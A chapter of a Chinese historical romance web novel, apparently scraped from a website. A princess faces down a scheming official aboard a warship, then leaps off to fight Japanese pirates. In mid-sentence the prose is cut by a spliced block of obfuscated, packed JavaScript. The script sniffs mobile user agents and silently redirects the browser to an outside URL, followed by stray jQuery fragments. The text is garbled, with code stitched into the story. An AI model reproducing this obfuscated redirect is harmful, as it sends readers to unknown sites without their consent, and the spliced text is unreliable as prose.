外面杀声如潮,一浪高过一浪,火炮与兵戈相击声在狂风暴雨中清晰可闻。
房中静到极致,林画月与江叙风无声对峙,她一边警惕江叙风的一举一动,一边快速打量四周环境。
很快,林画月就发现了极其不妙的一点。
这间屋子没有窗户,唯一能通向外界的就是那扇上了锁的门。
江叙风淡笑一声,主动打破剑拔弩张的气氛,他从容不迫地走到黄花梨木圈椅前坐下,右手向对侧一引,示意林画月也坐。
这个手势与其说是请她坐,不如说是请君入瓮。
林画月迟疑片刻,还是走上前坐下,她倒要看看江叙风葫芦里到底卖什么药。
“江少师这是何意?”林画月问,“之前一直避着我,怎么现在自己凑上来了?”
“先前是我不识好歹,我道歉。”
林画月嗤了声。她不清楚江叙风是在为观星台上的冒犯道歉,还是为之前屡屡不给她情面道歉,她也懒得问。
“这间屋子,你还满意吗?”江叙风说,“平朔的生活应该很让你怀念吧?其实想要回去,并不难。”
林画月将手放在扶手上,手肘下意识往下一沉,一个凹槽正正好好托住她的手肘,她心中莫名升出一种久违的满足感,不得不说,要不是此刻船身一直在颠簸,她差点就真的以为她又回到了平朔。
下一瞬,这种满足感让她毛骨悚然,她缓缓移开手臂,发现圈椅扶手上有一块凹下去的缺口。
难怪!
她小时候曾经不慎摔了一跤,额头磕在扶手上,给扶手磕了个凹。后来每当她坐下时,都会故意将手肘卡进这个凹口中,以获得一种严丝合缝的快感。
能将她远在平朔的闺房仿造到如此细节的程度,绝不可能单单只是询问过王府旧人,而是一直有人藏在她身边,监视她、窥伺她,将她的一举一动事无巨细的汇报给江叙风。
林画月心惊肉跳,她再一次环视整个房间,被她乱涂乱画的紫檀木妆台、嵌了螺钿的玉梳、雨过天青色床帐,每一个温馨又熟稔的细节都是江叙风对她的示威。
——他无所不知,而她无处可逃。
“我身边有你的人。”林画月握住剑柄,“什么时候开始的?”
“五年前。”
“五年前我们根本没有打过交道,你为什么要这么做?”
“你觉得呢?”
一个猜测浮出水面:“是陛下授意你监视王府?”
“林画月,”江叙风漫声道,“你应该能看出来,我之所以坐在这里,不是为了方便你审问我。”
林画月咽了下口水:“你到底想做什么?”
“别紧张,”江叙风和眉善目地宽慰她,“我只是觉得,你在熟悉舒适的环境中能更放松,更有耐心听我把话讲完。”
放屁!
林画月丝毫没有放松,甚至全身肌肉都开始蓄力。
江叙风继续道:“那夜你拒绝我,我完全理解。既是交易,我总该先拿出点诚意。”
江叙风将一封信放在案上,食指与中指按在信纸上推给林画月。
林画月狐疑地将信拆开,信中写了五家茶馆酒楼、三家青楼的名字。
“这是什么?”
“这一个月,京中已经传颂起武宁王军功盖世的歌谣,大有民心所向的趋势,”江叙风说,“不仅如此,坊间盛传起一个谣言,说若按功勋,当初该是武宁王坐上皇位,当今陛下之位,乃武宁王顾念兄弟情谊,拱手相让。”
“什么?!”林画月当即站了起来,“这分明是在把爹爹往火坑里推!”
“如此统一又成规模的言论绝无可能仅仅靠老百姓自发,不从根部切断,谣言只会愈演愈烈。”江叙风朝林画月手中的信扬了扬下颌,“武宁王盘查这八家店即可,是他们在有组织有计划地扩大谣言传播。”
林画月看着信,拧眉:“这八家店背后应该有个主谋吧?”
“是,”江叙风点头,“据我所掌握的线索,背后主谋跟刺杀你的是同一人。”
“是谁?”林画月眼神锐利。
江叙风笑着靠在椅背上,他双臂随意搭上扶手,头微微一偏,右手抵上额角,这是个相当自信从容的姿态:“看来江某的诚意没有让郡主失望。”
林画月不由在心中冷笑。诚意她没看出来,倒是看出来了江叙风对武宁王有多避之不及。江叙风若真有诚意,就该解决掉京中所有谣言后再来向她邀功,而不是丢给她一封信,让她自己去处理,而且这封信上明显不是江叙风的笔迹。
她懂没有行动就没有破绽的道理,就算终有一天陛下对武宁王动手,无论如何都连带不到他江叙风。
仅凭一封轻飘飘的信就想拿捏她?她倒还没有走投无路到这种地步。
“之前内阁花费半年都没能推行下去的监察令,听说现在交由江少师主办了?”林画月扬了扬手中的信,“等价交换,武宁王府可以帮你打点一下。”
“监察令我自有计划,不必劳烦武宁王。”江叙风眉目冷清,“我想要什么,观星台上已经告诉过你了。”
寒光一闪,宝剑出鞘,剑尖抵住江叙风咽喉。
“江少师,蠢话说一次,我体谅你因公务繁忙昏了头,说两次,就是在找死了。”
江叙风的喉结无声地擦着剑尖耸动了一下,留下一道细细的红痕。
“能告诉我原因吗?”江叙风仰头,嫉妒在他眼中一闪而过,很快又恢复如常,“我比燕怀誉更有用处,”他环视了一圈屋子,“也比他更了解你,不是吗?”
剑尖刺入皮肤,鲜血蜿蜒而出,顺着江叙风脖颈的线条流淌进衣襟。
林画月眼中浓烈的杀意让江叙风身上每个毛孔都在兴奋地叫嚣。一想到自己有可能会死在她手里,江叙风头皮都爽快到发麻。
他情不自禁向前探身,剑尖更深的没入皮肤。
痛感一下又一下刺激着他的神经。
——她恨他。
——她在意他。
林画月眉头一皱,果断撤剑。
“休想讹我。”林画月厌恶地擦干净剑身,“我在北境见多了北燚使团撞刀以起事端,你这点伎俩还不够构陷我。”
江叙风低声哂笑,他双手撑住圈椅扶手站起身,手腕上垂落的钥匙与
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229225|180581||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
扶手相击发出清晰脆响。
“行了,夜深了,今天就到此为止吧。到穗州府还有六天路程,足够你再重新考虑一下我的提议。”江叙风指了指檀木床紧靠的那面墙,“想好了就敲那面墙,我能听见。”
林画月挑眉:“你该不会觉得自己真锁得住我吧?”
说罢,林画月旋身反手提剑向门锁猛的一劈!
“咔嚓!”
铜制的门锁应声而断,裂成两截砸落在地。
林画月收剑归鞘,一套动作行云流水。
江叙风愕然,一时失了反应。
林画月看都懒得看他,拉开舱门径直离开。
“等等!”江叙风大步上前拉住林画月胳膊。
林画月也不挣,就由他拉着:“江少师,张副千户正带着士兵在外面巡逻,你要是不介意被人扣上与武宁王之女私交甚密的帽子,那就只管拉着吧。”
林画月第一次看见江叙风露出这幅失控的表情,他唇角收紧,一脸戾气,狭长的眼中尽是冷意与不甘心。
林画月心中舒爽极了:“江少师得权衡快点了,张副千户马上就要过来了。”
她没有唬人,一阵铁靴踏地的脚步声由远及近。
江叙风一言不发,只冷冷地看着她,慢慢,他的手指一根一根松开。
林画月嫣然一笑,她不再停留,转头飞奔上甲板,她凌空一跃,坠向大海,乌发翻飞,衣袂在雨中猎猎作响。
“林画月!”身后,江叙风的声音被狂风扯得破碎。
林画月稳稳落在一艘马船上,这艘马船上载的全是前去支援后侧翼的士兵。
“郡主?!”
见她从天而降,一船人惊慌失措。
“我与你们一起。”林画月举起长剑,英姿勃发,“给那群倭寇打个屁滚尿流!”
江叙风站在暴雨中望着逐渐远去的马船,马船前方,是杀声震天的战场,一团火光中,他看见燕怀誉奋战在最前列。
其实距离太远江叙风根本看不见什么人影,可架不住残酷的事实就摆在眼前,潜意识中有个声音越来越清晰响亮——
——他留不住林画月,连带他这个人也被她弃如敝履,此刻林画月义无反顾奔向燕怀誉所在的方向,即便那里腥风血雨。
难道真要他悖逆陛下的圣心,成为武宁王的入幕之宾,她才愿意投入他的怀抱?
可惜,饮鸩止渴的事江叙风从来都不会做。
眼前火光烈焰,一如他无法抑制的妒火。
—
林画月虽没有海上作战的经验,但好在她与燕怀誉默契十足。士兵们见郡主亲临,更是士气大振。缠斗半夜,终于倭寇丢盔弃甲,溃逃入海。
大雨渐息,圆日跳出地平线,甲板上一片狼藉,欢呼声震耳欲聋。
“要追吗?”燕怀誉提剑望着倭寇船只远去的方向。
“不了,”林画月按住他,“我们的士兵都是从京师来的,不善海战,这里离穗州府不远了,等到了跟穗州府的都指挥使通报一下情况吧。”
“行,听你的。”燕怀誉收剑入鞘,血泥混杂的脸上咧开一个灿烂的笑。